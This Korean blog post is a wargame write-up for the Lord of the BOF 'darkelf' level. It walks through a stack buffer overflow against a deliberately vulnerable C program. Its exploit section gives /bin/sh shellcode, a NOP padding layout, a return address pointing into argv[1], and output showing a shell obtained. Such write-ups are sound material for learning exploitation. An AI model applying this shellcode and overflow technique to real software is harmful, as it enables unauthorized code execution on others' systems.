ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [LEVEL6] (wolfman -> darkelf) : check length of argv[1] + egghunter + bufferhunter
    Wargame/LordOfTheBof (redhat) 2013. 6. 27. 16:04

    1. 문제 Source

    /*
            The Lord of the BOF : The Fellowship of the BOF
            - darkelf 
            - egghunter + buffer hunter + check length of argv[1]
    */
    
    #include <stdio.h>
    #include <stdlib.h>
    
    extern char **environ;
    
    main(int argc, char *argv[])
    {
    	char buffer[40];
    	int i;
    
    	if(argc < 2){
    		printf("argv error\n");
    		exit(0);
    	}
    
    	// egghunter 
    	for(i=0; environ[i]; i++)
    		memset(environ[i], 0, strlen(environ[i]));
    
    	if(argv[1][47] != '\xbf')
    	{
    		printf("stack is still your friend.\n");
    		exit(0);
    	}
    
    	// check the length of argument
    	if(strlen(argv[1]) > 48){
    		printf("argument is too long!\n");
    		exit(0);
    	}
    
    	strcpy(buffer, argv[1]); 
    	printf("%s\n", buffer);
    
    	// buffer hunter
    	memset(buffer, 0, 40);
    }
    

    LEVEL5 와 다른점은 argv[1]의 크기에 대한 검증 루틴이 추가되었다.

    다행히 48 Byte로 사이즈가 그렇게 작지는 않으니 LEVEL 5와 동일한 방식으로 풀면 된다.


    2. argv[1]에 shellcode 삽입

    우선 argv[1]의 주소값을 print하는 소스를 추가해서 새롭게 컴파일하자.

    [wolfman@localhost wolfman]$ cp darkelf.c darkela.c

    [wolfman@localhost wolfman]$ vi darkela.c

    // ...중략...
    	strcpy(buffer, argv[1]); 
    	printf("%s\n", buffer);
    
            // buffer hunter
            memset(buffer, 0, 40);
            printf("%#x\n", argv[1]); // <- 이 한줄을 추가
    }


    컴파일 후 실행하면 argv[1]의 주소값이 출력된다.

    [wolfman@localhost wolfman]$ gcc -o darkela darkela.c 

    [wolfman@localhost wolfman]$ ./darkela `python -c "print 'A'*40 + 'BBBB' + '\xbf\xbf\xbf\xbf'"`

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB����

    0xbffffc25

    Segmentation fault

    이제 출력된 argv[1]의 주소 0xbffffc25을 이용해 Exploit을 진행하자.


    3. Exploit

    사용할 shellcode는 아래와 같다. (총 25 Byte)

    \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


    아래는 최종 구성이다.

    shellcode 

    NOP 

    SFP

    RET 

     25 Byte

    15 Byte

    4 Byte(NOP) 

    4 Byte 

     40 Byte


    [wolfman@localhost wolfman]$ bash2

    [wolfman@localhost wolfman]$ ./darkelf `python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' + '\x90'*19 + '\x25\xfc\xff\xbf'"`

    1�Ph//shh/bin��PS��1Ұ

                         �������������������%���

    bash$ my-pass

    euid = 506

    kernel crashed


    성공 !


Designed by Tistory.